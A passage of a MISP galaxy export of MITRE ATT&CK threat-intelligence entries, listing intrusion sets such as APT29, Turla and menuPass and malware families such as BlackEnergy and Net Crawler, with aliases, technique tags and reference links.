http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

Stealth Falcon - G0038

Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Stealth Falcon - G0038"*

Stealth Falcon - G0038 is also known as:

- Stealth Falcon

Stealth Falcon - G0038 has relationships with:

- similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2125. Table References

Links
https://attack.mitre.org/wiki/Group/G0038
https://citizenlab.org/2016/05/stealth-falcon/

BRONZE BUTLER - G0060

BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="BRONZE BUTLER - G0060"*

BRONZE BUTLER - G0060 is also known as:

- BRONZE BUTLER
- REDBALDKNIGHT
- Tick

BRONZE BUTLER - G0060 has relationships with:

- similar: misp-galaxy:threat-actor="Tick" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2126. Table References

Links
https://attack.mitre.org/wiki/Group/G0060
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Scarlet Mimic - G0029

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Scarlet Mimic - G0029"*

Scarlet Mimic - G0029 is also known as:

- Scarlet Mimic

Scarlet Mimic - G0029 has relationships with:

- similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Psylo - S0078" with estimative-language:likelihood-probability="almost-certain"

Table 2127. Table References

Links
https://attack.mitre.org/wiki/Group/G0029
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Threat Group-1314 - G0028

Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Threat Group-1314 - G0028"*

Threat Group-1314 - G0028 is also known as:

- Threat Group-1314
- TG-1314

Threat Group-1314 - G0028 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 2128. Table References

Links
https://attack.mitre.org/wiki/Group/G0028
http://www.secureworks.com/resources/blog/living-off-the-land/

Turla - G0010

Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Turla - G0010"*

Turla - G0010 is also known as:

- Turla
- Waterbug
- WhiteBear

Turla - G0010 has relationships with:

- similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="APT 26" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Epic - S0091" with estimative-language:likelihood-probability="almost-certain"

Table 2129. Table References

Links
https://attack.mitre.org/wiki/Group/G0010
https://securelist.com/the-epic-turla-operation/65545/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Elderwood - G0066

Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)

Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Elderwood - G0066"*

Elderwood - G0066 is also known as:

- Elderwood
- Elderwood Gang
- Beijing Group
- Sneaky Panda

Elderwood - G0066 has relationships with:

- similar: misp-galaxy:threat-actor="Beijing Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

Table 2130. Table References

Links
https://attack.mitre.org/wiki/Group/G0066
http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html

http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China

APT29 - G0016

APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT29 - G0016"*

APT29 - G0016 is also known as:

- APT29
- The Dukes
- Cozy Bear
- CozyDuke

APT29 - G0016 has relationships with:

- similar: misp-galaxy:threat-actor="APT 29" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 2131. Table References

Links
https://attack.mitre.org/wiki/Group/G0016
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

menuPass - G0045

menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="menuPass - G0045"*

menuPass - G0045 is also known as:

- menuPass
- Stone Panda
- APT10
- Red Apollo
- CVNX

menuPass - G0045 has relationships with:

- similar: misp-galaxy:threat-actor="Stone Panda" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 2132. Table References

Links
https://attack.mitre.org/wiki/Group/G0045
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html

Putter Panda - G0024

Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Putter Panda - G0024"*

Putter Panda - G0024 is also known as:

- Putter Panda
- APT2
- MSUpdater

Putter Panda - G0024 has relationships with:

- similar: misp-galaxy:threat-actor="Putter Panda" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="3PARA RAT - S0066" with estimative-language:likelihood-probability="almost-certain"

Table 2133. Table References

Links
https://attack.mitre.org/wiki/Group/G0024
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

Axiom - G0001

```
(Citation: Axiom) is a cyber espionage group suspected to be associated with the
Chinese government. It is responsible for the Operation SMN campaign. (Citation:
Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups
appear to be distinct based on differences in reporting on the groups' TTPs and
targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June
2015) (Citation: Novetta Winnti April 2015)
```

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001"*

Axiom - G0001 is also known as:

- Axiom
- Group 72

Axiom - G0001 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2134. Table References

Links
https://attack.mitre.org/wiki/Group/G0001
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf
https://securelist.com/games-are-over/70991/
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf

Magic Hound - G0059

Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)

Contributors: Bryan Lee

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059"*

Magic Hound - G0059 is also known as:

- Magic Hound
- Rocket Kitten
- Operation Saffron Rose
- Ajax Security Team
- Operation Woolen-Goldfish
- Newscaster
- Cobalt Gypsy

Magic Hound - G0059 has relationships with:

- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 2135. Table References

Links
https://attack.mitre.org/wiki/Group/G0059
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/

FIN8 - G0061

FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN8 - G0061"*

FIN8 - G0061 is also known as:

- FIN8

FIN8 - G0061 has relationships with:

- similar: misp-galaxy:threat-actor="FIN8" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 2136. Table References

Links
https://attack.mitre.org/wiki/Group/G0061
https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html

PROMETHIUM - G0056

PROMETHIUM is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="PROMETHIUM - G0056"*

PROMETHIUM - G0056 is also known as:

- PROMETHIUM

PROMETHIUM - G0056 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-malware="Truvasys - S0178" with estimative-language:likelihood-probability="almost-certain"

Table 2137. Table References

Links
https://attack.mitre.org/wiki/Group/G0056
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf

Carbanak - G0008

Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)

Contributors: Anastasios Pingios

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Carbanak - G0008"*

Carbanak - G0008 is also known as:

- Carbanak
- Anunak
- Carbon Spider

Carbanak - G0008 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN7 - G0046" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Anunak" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 2138. Table References

Links
https://attack.mitre.org/wiki/Group/G0008
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

APT33 - G0064

APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT33 - G0064"*

APT33 - G0064 is also known as:

- APT33

APT33 - G0064 has relationships with:

- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="MAGNALLIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"

Table 2139. Table References

Links
https://attack.mitre.org/wiki/Group/G0064
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.brighttalk.com/webcast/10703/275683

APT18 - G0026

APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="APT18 - G0026"*

APT18 - G0026 is also known as:

- APT18
- Threat Group-0416
- TG-0416
- Dynamite Panda

APT18 - G0026 has relationships with:

- similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Maverick Panda" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2140. Table References

Links
https://attack.mitre.org/wiki/Group/G0026
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

Leviathan - G0065

Leviathan is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

Contributors: Valerii Marchuk, Cybersecurity Help s.r.o.

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Leviathan - G0065"*

Leviathan - G0065 is also known as:

- Leviathan
- TEMP.Periscope

Leviathan - G0065 has relationships with:

- similar: misp-galaxy:threat-actor="Leviathan" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Table 2141. Table References

Links
https://attack.mitre.org/wiki/Group/G0065
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

CopyKittens - G0052

CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="CopyKittens - G0052"*

CopyKittens - G0052 is also known as:

- CopyKittens

CopyKittens - G0052 has relationships with:

- similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"

Table 2142. Table References

Links
https://attack.mitre.org/wiki/Group/G0052
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

Gamaredon Group - G0047

Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: *misp-galaxy:mitre-enterprise-attack-intrusion-set="Gamaredon Group - G0047"*

Gamaredon Group - G0047 is also known as:

- Gamaredon Group

Gamaredon Group - G0047 has relationships with:

- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 2143. Table References

Links
https://attack.mitre.org/wiki/Group/G0047
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

Enterprise Attack - Malware

Name of ATT&CK software.

Enterprise Attack - Malware is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

OLDBAIT - S0138

OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017

Aliases: OLDBAIT, Sasfis

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="OLDBAIT - S0138"*

OLDBAIT - S0138 is also known as:

- OLDBAIT
- Sasfis

OLDBAIT - S0138 has relationships with:

- similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2144. Table References

Links
https://attack.mitre.org/wiki/Software/S0138
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf

PHOREAL - S0158

PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)

Aliases: PHOREAL

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PHOREAL - S0158"*

PHOREAL - S0158 is also known as:

- PHOREAL

PHOREAL - S0158 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2145. Table References

Links
https://attack.mitre.org/wiki/Software/S0158
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

CosmicDuke - S0050

CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)

Aliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CosmicDuke - S0050"*

CosmicDuke - S0050 is also known as:

- CosmicDuke
- TinyBaron
- BotgenStudios
- NemesisGemina

CosmicDuke - S0050 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

Table 2146. Table References

Links
https://attack.mitre.org/wiki/Software/S0050
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

H1N1 - S0132

H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)

Aliases: H1N1

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="H1N1 - S0132"*

H1N1 - S0132 is also known as:

- H1N1

H1N1 - S0132 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2147. Table References

Links
https://attack.mitre.org/wiki/Software/S0132
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities

SPACESHIP - S0035

SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

Aliases: SPACESHIP

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SPACESHIP - S0035"*

SPACESHIP - S0035 is also known as:

- SPACESHIP

SPACESHIP - S0035 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"

Table 2148. Table References

Links
https://attack.mitre.org/wiki/Software/S0035
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Hi-Zor - S0087

Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)

Aliases: Hi-Zor

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Hi-Zor - S0087"*

Hi-Zor - S0087 is also known as:

- Hi-Zor

Hi-Zor - S0087 has relationships with:

- similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2149. Table References

Links
https://attack.mitre.org/wiki/Software/S0087
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

TEXTMATE - S0146

TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)

Aliases: DNSMessenger, TEXTMATE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="TEXTMATE - S0146"*

TEXTMATE - S0146 is also known as:

- DNSMessenger
- TEXTMATE

TEXTMATE - S0146 has relationships with:

- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="POWERSOURCE - S0145" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2150. Table References

Links
https://attack.mitre.org/wiki/Software/S0146

https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html

Net Crawler - S0056

Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)

Aliases: Net Crawler, NetC

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Net Crawler - S0056"*

Net Crawler - S0056 is also known as:

- Net Crawler
- NetC

Net Crawler - S0056 has relationships with:

- similar: misp-galaxy:malpedia="NetC" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 2151. Table References

Links
https://attack.mitre.org/wiki/Software/S0056
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf

BlackEnergy - S0089

BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

Aliases: BlackEnergy, Black Energy

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BlackEnergy - S0089"*

BlackEnergy - S0089 is also known as:

- BlackEnergy
- Black Energy

BlackEnergy - S0089 has relationships with:

- similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2152. Table References

Links
https://attack.mitre.org/wiki/Software/S0089
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf

XAgentOSX - S0161

```
(Citation: XAgentOSX) is a trojan that has been used by APT28  on OS X and appears to
be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)
```

Aliases: (Citation: XAgentOSX)

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="XAgentOSX - S0161"*

XAgentOSX - S0161 is also known as:

- XAgentOSX

XAgentOSX - S0161 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2153. Table References

Links
https://attack.mitre.org/wiki/Software/S0161
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

Pisloader - S0124

Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)

Aliases: Pisloader

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Pisloader - S0124"*

Pisloader - S0124 is also known as:

- Pisloader

Pisloader - S0124 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2154. Table References

Links
https://attack.mitre.org/wiki/Software/S0124
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Backdoor.Oldrea - S0093

Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)

Aliases: Backdoor.Oldrea, Havex

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Backdoor.Oldrea - S0093"*

Backdoor.Oldrea - S0093 is also known as:

- Backdoor.Oldrea
- Havex

Backdoor.Oldrea - S0093 has relationships with:

- similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2155. Table References

Links
https://attack.mitre.org/wiki/Software/S0093
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf

NanHaiShu - S0228

is a custom JavaScript backdoor used by Leviathan. (Citation: Proofpoint Leviathan Oct 2017)

Aliases: NanHaiShu

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="NanHaiShu - S0228"*

NanHaiShu - S0228 is also known as:

- NanHaiShu

NanHaiShu - S0228 has relationships with:

- similar: misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2156. Table References

Links
https://attack.mitre.org/wiki/Software/S0228
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

Starloader - S0188

Starloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)

Aliases: Starloader

Contributors: Alan Neville, @abnev

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Starloader - S0188"*

Starloader - S0188 is also known as:

- Starloader

Starloader - S0188 has relationships with:

